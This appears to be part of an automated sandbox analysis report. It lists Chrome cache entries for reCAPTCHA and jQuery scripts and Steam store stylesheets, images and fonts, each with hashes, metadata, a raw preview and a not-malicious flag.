SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	88145
Entropy (8bit):	5.291106244832159
Encrypted:	false
SSDEEP:	1536:yTExXUZinxD7oPEZxkMV4SYKFMbRHZ6H5HOHCWrcElzuu7BRCKKBEqBsojZlOPma:ygZm0H5HO5+gCKWZyPmHQ47GKe
MD5:	220AFD743D9E9643852E31A135A9F3AE
SHA1:	88523924351BAC0B5D560FE0C5781E2556E7693D
SHA-256:	0925E8AD7BD971391A8B1E98BE8E87A6971919EB5B60C196485941C3C1DF089A
SHA-512:	6E722FCE1E8553BE592B1A741972C7F5B7B0CDAFCE230E9D2D587D20283482881C96660682E4095A5F14DF45A96EC193A9B222030C53B1B7BBE8312B2EAE440D
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1057 x 500, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	144661
Entropy (8bit):	7.980843362263581
Encrypted:	false
SSDEEP:	3072:yK02orTG+Saw+pemTN2jo+xInoq3A8sbqYT1h07drn7y1:yK0E+QUzsk+xY3AjhaBn7y1
MD5:	5F16125351B708EE3D1141EB5553CD3D
SHA1:	EF8994F541DEC79086CB998C180D260E1C7DD704
SHA-256:	7BDC6F79DB78360EC0E758B748D745C8F11EE6C93C1F0C5E7D128E1DDCAF35EF
SHA-512:	415B0C586E6B5F5E27FF7D134D01B26A92BC8F9F7F22D0EA8EF77E72A4042B5A66538068E85A00072B87B3C0A8C1DA30205FFAC3808B05DE04582A4E1D017961
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...!...........7.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:53F0C1D58A4311E6A9CC89E9E7EC36A5" xmpMM:DocumentID="xmp.did:53F0C1D68A4311E6A9CC89E9E7EC36A5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:53F0C1D38A4311E6A9CC89E9E7EC36A5" stRef:documentID="xmp.did:53F0C1D48A4311E6A9CC89E9E7EC36A5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4.....1.IDATx..m.,..$.0....-A{.R.fC2i)Z.L;.i../.....7.q.w....UE....... A.....?....v.m..v....._.n..~..w.sf.B._.G..c..

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	229
Entropy (8bit):	5.208866791114413
Encrypted:	false
SSDEEP:	6:GXO23whT+t1FQuXX6C8Vo+nViARCa3whT+tAeEM:AO2gst1W1C8VRnEARhgstAeEM
MD5:	5903FB1A517865DCA5A7D37D419249A5
SHA1:	BBD2053A90BB34CC1EA6E4A9BB96A7FE710308A6
SHA-256:	1C59C22822333FD3E2CD5CEF13C3E90D9998493438888D11B23E6A6B9EEFADD1
SHA-512:	28022995614CB23E8463FCF85FC829BAA3F9D9330BBCCA7169B1501194374B806CE9C06E5ED8E1A76799BF1680D01773ECA74F4FC2554029167140A816E67B9F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/applications/store/login.css?contenthash=31a1587a28aa962de04a
Preview:	............_2kLRmRsLwjGDlm-ZfUpChG{padding-top:80px;padding-bottom:150px;display:flex;flex-direction:column;align-items:center}@media screen and (max-width: 700px){._2kLRmRsLwjGDlm-ZfUpChG{padding-top:12px;padding-bottom:0px}}..

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	44
Entropy (8bit):	4.544325652580697
Encrypted:	false
SSDEEP:	3:hWikj2hkum0KthOU1:AikjDBr
MD5:	6D93FDB56B417B26D61378095110EA11
SHA1:	99C638B5D3CBB852EF664EFC7A1E8282F3997DE9
SHA-256:	D8F0F15132104CAEF0BADCF8657B9CFCC4237F59AC844DE47E297A2F48E43AD9
SHA-512:	6A735A16B22DC3152CB359D47C9E51B1117EA624B573F24B4694734F2F90CBFE7ECF5D3684DBCF9CB08FEC7873C5399AAF58C0174A5B60ED93E3D48F971ADF34
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwn2ZtV5zmIo5BIFDYPOwY0SBQ2S9RIrEhAJ48ci2S48zdQSBQ38LUur?alt=proto
Preview:	ChIKBw2DzsGNGgAKBw2S9RIrGgAKCQoHDfwtS6saAA==

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5190
Entropy (8bit):	7.95300701431002
Encrypted:	false
SSDEEP:	96:4St6M+qrWBymK0DSKtmauI77CoXFCd3dJG44bzOLgpmijzLe7kcTANTX:4SXrceNaR3J43JG4IzOmmILe7dTAND
MD5:	21D535D86A2AC64ACEB4EF4F81B77544
SHA1:	4BD619A623263310FA75319C66F891E2D125B11D
SHA-256:	B9A580F52E3BD2D445831A2FCB6765A518461EAD8A252CB9410C145C51936C1A
SHA-512:	67C0FE10B0B8D4949DA4B1595C985C603751738FF2F1CA2B181BB6195CACF8478DBDE0F30101476803D642CEEF0D7717C682E9C82BE4DC7A096E88CA023B28D7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx..[....u?..."...".,:.cAY?.@..T..L4.h.I`..4...D..m&5n.t.M.i.4.@..M.N"F.....I.U............u...{.1F..x.....s.........v.5...9D...h........y......l.......d...H.;...x\....K$.!<W....CX......-.=K7.A4..f[.]-.@w.y]........1}.u.d........].tv/m'......e.2#.G.@.....b.g..4h..8./.....~..\|2.".....1.$. _g.G.r.dh.j....k.).../...#..c..7V..Y..#...A...5.o...".k:=%4._...UI......&k.&b.......P^V&..JXC..t..^on.t.g.PCA.).........-G..:2{O..i..1.3h6_G#j...}u]_SXp.3....I..Z.h`Os.09..w......4.......W.....e...r....x....G.V..K.FN.........=D../.. ..+.....7..?.}y..$I8....Q..;X r.B.z.K^.rGH..h...cT.N.6-..B[../.....}J_......X.....p{..B..=...bsl35%[.V...\|.{#.....:NL1..i..1cO.&.Q...[...+.(.M....D.w..;......q=./.WZ[.A..ynb5.2s...*.3....<..X+.:j..o_.i`A....6..?p.\|cPA..~....Zq.../......n....OZ....0.....:2...6U..,..ko.... rh$(....../.'......ZN:r,N<bL..p.^...../...>X...y`6.E.5?.au.

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (22676), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	22842
Entropy (8bit):	4.8737880932940385
Encrypted:	false
SSDEEP:	384:+Yic/Sf4+JAslpN+MhZxEOIqisxp9RO6orsH1XQSmRyeyZ/84t1SSzNQvIkoVMxc:qx4+blpNN7VMxsgE3kSd5/VQ47hD
MD5:	757750902210FF3C0D12DEE4DC5165C6
SHA1:	A3599CA4BD5DA9FB9C83E26813EF62327C541566
SHA-256:	72FF7D67DDC7BD23885CBBA07F3889BE27B50CB597BA41FD546343416676BA67
SHA-512:	EF5CB66E561D5F208A872C65B6732BDAA082D421F9815C8A5A439D5E749890E032C2309C1D7EC66D93D1F897941BB5E2C5F860FD9CF8E13ADFBF1AB60AECA27B
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/marketing_english-json.js?contenthash=2724d0de18cba8996ab6
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[5231],{72022:e=>{e.exports=JSON.parse('{"language":"english","label_play_free_until_custom":"Play for free until %1$s.","promo_ends_custom":"Offer ends %1$s.","label_play_free_generic":"Play for Free!","label_free_weekend":"Free Weekend","label_free_week":"Free Week","label_just_updated":"Just Updated","label_for_a_limited_time_only":"FOR A LIMITED TIME ONLY","msg_prepurchase_and_play_beta_now":"Pre-Purchase and Play the Beta Now!","msg_play_beta_now":"PLAY THE BETA NOW!","msg_prepurchase_and_get_beta_access":"Pre-Purchase and get Beta Access","msg_steam_workshop_now_available":"Steam Workshop Now Available","msg_now_with_steam_workshop":"Now with Steam Workshop","msg_now_with_steamworks":"Now with Steamworks","msg_now_available_on_steamos":"Now Availab

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansThin4.015;Plau;MotivaSan
Category:	downloaded
Size (bytes):	118736
Entropy (8bit):	6.0569560995718
Encrypted:	false
SSDEEP:	1536:GAAAAAAAgsAAAYgIAAAAsAuErzzzz6mfzzVCA9zzzzzzdp/koLAGXImE98YfgNi9:kErZDE9BfgNiX9k3SDHewStfNwS0fj9
MD5:	CE6BDA6643B662A41B9FB570BDF72F83
SHA1:	87BCF1D2820B476AAEAEA91DC7F6DBEDD73C1CB8
SHA-256:	0ADF4D5EDBC82D28879FDFAAF7274BA05162FF8CBBDA816D69ED52F1DAE547F6
SHA-512:	8023DA9F9619D34D4E5F7C819A96356485F73FDDCB8ADB452F3CEEFA8C969C16CA78A8C8D02D8E7A213EB9C5BBE5C50745BA7602E0EE2FE36D2742FB3E979C86
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Thin.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS".j....l..j.GSUB.d....k.....OS/2t..........`cmap.d..........cvt E...........fpgm.6!.........gasp............glyf;9.........Thead.z.;.......6hhea...........$hmtxj4.w...8....locaijV... ....maxp........... name............post.......\|....prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............)........................ .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1667), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	18486
Entropy (8bit):	5.5236584552330745
Encrypted:	false
SSDEEP:	384:QwtVMAjYb2JalUNlpczHK7DYiHiEiN/mm+pqOw6GNNZhweP8/G:QmS6FJJNzczHK7DFHix/T+pqOwlNzv
MD5:	B730C2B64C5E23E7B97343A43BE0EAE9
SHA1:	1451A3BEE6B72FB0BD049CB8B84CC5FAF20AE598
SHA-256:	4EC40EBE11519D62A8C62FF92266FFA860A7C38259DC113D819CE91E083BEE49
SHA-512:	D2E451FC4CA0F0FAED06E9B05281FD07BE2C3D2641160F5662D3ADAAB0026EB6CD70E7E6F093178A70C656E368E958FA6F93DEEAE59C7F7E142437B27BF99584
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=tzDCtkxeI-e5&l=english
Preview:	...responsive_page_frame {...position: relative;..}....body.movescrolltocontent .responsive_page_frame {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;...overflow: auto;..}....body.overflow_hidden,..body.overflow_hidden .responsive_page_frame {...overflow: hidden;...position: relative;..}....html.responsive {...height: 100%;..}....html.responsive body {...min-height: 100%;...height: auto;...position: relative;..}....html.responsive body.movescrolltocontent {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;..}.....responsive_page_content {..}.....partner_events .responsive_page_content {.. height: 100vh;..}.....responsive_page_menu_ctn {...position: fixed;...top: 0;...bottom: 0;...overflow: hidden;.....background: black;.....z-index: 30;...width: 280px;..}.....responsive_page_frame:not(.in_menu_drag) .responsive_page_menu_ctn {...transition: left 0.5s, right 0.5s;..}.....responsive_page_menu_ctn.mainmenu {...left: -280px;..}.....responsive_page_menu_

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 554 x 271, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	202593
Entropy (8bit):	7.996848192202674
Encrypted:	true
SSDEEP:	3072:9RJJ+0NcfaVXHbin/ENV96H7aZ4CQwYiGVjrS2lAbl6JXKT8fNRjFLTlz8CJ:mtnso7e4CFYiGVi1bl6YT8fdZTJ
MD5:	88319D4D76E896A40C655D3F62EFB104
SHA1:	AF044A1B235CECFC9A551EA124E76A82FB6D21A9
SHA-256:	88D4D1C9BD11D30037635C8496A5F253EA440174D20C81FD227F60CC33E12D65
SHA-512:	76224F95B6F0B8CE783B7ED7D1BC7F0CFFACBF668E4B6D53D390DD0E1847F8F1A4F624A5B66102E72EABA3425DCD05637F178A028BD6A4E869C0D7BE1766DE57
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_example.png
Preview:	.PNG........IHDR............l......pHYs.................sRGB.........gAMA......a.....IDATx.......u.......}.{=.@71...... )q.Iq.%Sf YJ.I.,...;.D6].4R.$.TJ.D..XQY.D.bhJ.hQ"E..I.........4....o~....a.....&.$......{...o....3..p\..........0.{...~.......}.q.]g;Q...p!.E..~....7...y.J.......5~.2.......8O@.4.;.E.+.,m.....h..."...w.!.A..-.!.l;.....W(.NL....xQ.......#DI....{j.L..D.o.....:..f>\.F.[.&. ...9.\.G4,H...!c...G...*..D..N..z.u:..$.....0...rmL...n.T(..p;m&._([W.U..n..0.Q.AE.%q..8F.qQ....Ov.........$+Q.I....3i..I.M6.~V]..j.....d....d./.9..9.n.u:...z."......T..<l.Bg.O..`9.w,.d..(k[<K.C.......+..4K....f.W.".L/S.y..e8.../BY...%L....6\g...L.}../....Y.j....._.K.......?7].7...v...@....#A.L..%..H....T..L...V@.fD<..P.D..O{..8. ..Gi.....J+..2.xsa#...`....&.D[..z.......t... I..Y..v.......B.f..V&S6d.tt...$.:S.....r`uh.m....@..........J..M.g.6.].<..~ .4;K..T.f."..{.p..Q..Z..-..A..]..z~.zH2m,...........P.-k.i...J[<1eP.....h&`Xhs.f..3.,..Ksp......_.,N...\.&v.J....).F.

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1213
Entropy (8bit):	7.7842557765994975
Encrypted:	false
SSDEEP:	24:w/6cYW7BnecJjySaePLV9jHFMVHqAQw0hPtaElGb4RhMbEoEq5n/xE:w/6a7BESPzrjH+9qAUl04wfE4n/xE
MD5:	648BD4BAA41A25DB3A6B3D9FC219301D
SHA1:	6B86B2D39C39C99DC3C1449CD15486EAFFF24ED3
SHA-256:	AD4D8A190B5C132245EAB0FCC05D8E363D11FFE34B09E48568FF2499F5B99793
SHA-512:	C16DE7711D99E71F34011F709CEDC3C27AC808182DC9682905B5C75825450DC7676057A3A7BD018AA293869920F13C98BAC91092A23C35341C8B2288ACBBCEB9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_icon.png
Preview:	.PNG........IHDR.............;0......pHYs.................sRGB.........gAMA......a....RIDATx..WmLSW.~n).....2>Dt.%`G..."j..>.#.1..>..Lf...M..h.f.d.tY....H..1..4.[b;.&.a.)..W....g.^... ..<..s....y.9..s..........2Z......,[>T.R.t..]V...1.)..D. ..J....L.......:.D....Rf....2...e......0...Ic......cj.....I1...t...S7.F.v!..'.....2\|........z.~..]....<...........0m._>.......89"^.....1.`.).O.v...A.aK!L&..`owT........................u..\.......f.t..X......k.......g.[......"..\|.Zl.........../...\|...j...YP7..2......ui.......3.\..J..Q=..-l.\.i....M.:.............S...0..+-..Z5....5.=.1.A>....a..~m3.w=3S...6..).X$./.ab........g.op..."c.eYr...N...z..O..Ri..\|<..{uC(....T]t.........._T....E,.p..L..(......0:v............h.%gp....s3.ipM?.W.x.eH.\..-.........06.....D...(=....ym.......u."2<...&X...V...U.S........'.i..G..Z.whq....?.\...W..v..8T7..v..#$...>..v<$b$o.E.BE.....h....w.CI.....:..*l....~..M..........$Z............,.Q@X..T..@.._`cB..J.U..j....v.-...........9..

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 439 x 170, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22513
Entropy (8bit):	7.972372850976774
Encrypted:	false
SSDEEP:	384:mXE05G0jCZQZ1CDMpbltRByo7gVKjb2gWH4vvrSvrrBcyWh0VrS9Hzo05HOxLECN:c35G7ZGCDIzBH3b2gWNTvlX4uDpD
MD5:	4DDDFE80CE9184F5FCB77A8735791E69
SHA1:	475C4B22242AD7DCABF0E7F43E09B066D75B13AF
SHA-256:	87682460EF234C5CDD98375EEA1F03CC165947B3AEA57DEEC37D552B32BA29EC
SHA-512:	AE6C464BDA07B5FBB341A8ADBF4353ADBA197186BECDCA15AE4821592B0F35176B4869B38C43084BEE17547374A1834929FF760D8173721228DF7027DA39A464
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3900 x 2550, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	2916320
Entropy (8bit):	7.996029453632781
Encrypted:	true
SSDEEP:	49152:9KGMHacbeYT4Q+3M2gWQZANiUloUaCodfB/I85PW0bpMGsuPIXc/:8iTY1+cVZ6loUyC85+0aGp
MD5:	EBE8E0DBDC3656F997410A7EFB3AA7E1
SHA1:	4FA1301406D089FCC5D9D39A5D4D5781EC7A2B22
SHA-256:	23B5951E25775A29D989EB13476918C1A2B7A60DBA08840069E808F04D53A06B
SHA-512:	28674C976F3B22FCBD664EF24DAF2729E2309A016B3F76687737928B68171D3216D4D5BF1031C7F3E64923B0A8AEECF854B869C7D6337F0D667C932AF35721DD
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/web_hero/web_hero_english.png
Preview:	.PNG........IHDR...<.................tEXtSoftware.Adobe ImageReadyq.e<.,..IDATx....`........!7F.."PA<.......w..w.._.x.Q.z.Q@.-j.............$...0..rg..f..;...{.L..).};....7.;....,...................0...................<.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D&........A.,.....@..H'.........m......j.kjw...{oYyE......kk.....vG..B.........a2.;u..s......#.w.}...B..Gu.........Dd.......J;.w...n.R.ykQ..Ct.....F......2x..!...........H B...... .$Y.\P..+........>...........2x.C..2d.A.........x.........g...m../(..RX.u;........<`..AC...1lh..D.......D..6.....H.f.e.W....vsA..n.C....v&.d:e..G.s...efd.!......:.............K.Z._Pt.........n]...2...F.w.pz...... "B...... vV...9../[Y.........@y..^r.......Fo...

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	1278
Entropy (8bit):	6.9904915779422545
Encrypted:	false
SSDEEP:	24:+jVgXal1hQWwjx82lY2T3+VVMLoyJ3V+GGY8nLPewOd:zgzNn2KgLrJ3ZL8DdOd
MD5:	A4AD1737E878B031DE37EDF234CB1283
SHA1:	1BCDAAB7E0C225DF693E69704EB7555E120657A5
SHA-256:	B22C73A2ED7BE863D4779BBE6DB4C9D4078C453D7118C0A6F70ACAD0108A9F23
SHA-512:	973404080C1BD98492DAA385E49ED4FF53D847F09F16A18FC3BBB0EBD4FCD5A18175FC32325A2BA93A4E2C39B619070C30C1B9BCF30B37D7DD3EFECDD91018EC
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.gif
Preview:	GIF89a.......UV\........RTZ......TV\PRX........8:A\]c.....................................BDKACI...57>!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:95DFDEB47F2E11EE8716FE6E5DEA6C2D" xmpMM:DocumentID="xmp.did:95DFDEB57F2E11EE8716FE6E5DEA6C2D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:95DFDEB27F2E11EE8716FE6E5DEA6C2D" stRef:documentID="xmp.did:95DFDEB37F2E11EE8716FE6E5DEA6C2D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.............................................................................................

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 690 x 1398, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	256364
Entropy (8bit):	7.992281401208544
Encrypted:	true
SSDEEP:	6144:vqswArZbdG/0wtJ2xZ73xzCn7w5KXj4Lb+dqML:TJdGSxZdo0sj++V
MD5:	C825B8122182802B91860D2EE93A3673
SHA1:	E9469C6D4B1052F24F68910C558A35DD9ABCC7C5
SHA-256:	7CDB8C32814C2C3062F5B5BDE0B82B1DCA917F3D70D8F0C1F6D7163CC6EBA4F0
SHA-512:	C070BE903656E47249395C25D218244F1299F1A7F9801253E5071CD6AA84A8281932C49BF33B85FD4172EEAFD4C97BB89B0F83648540042A38DDB3FA0C0C858E
Malicious:	false
Reputation:	low
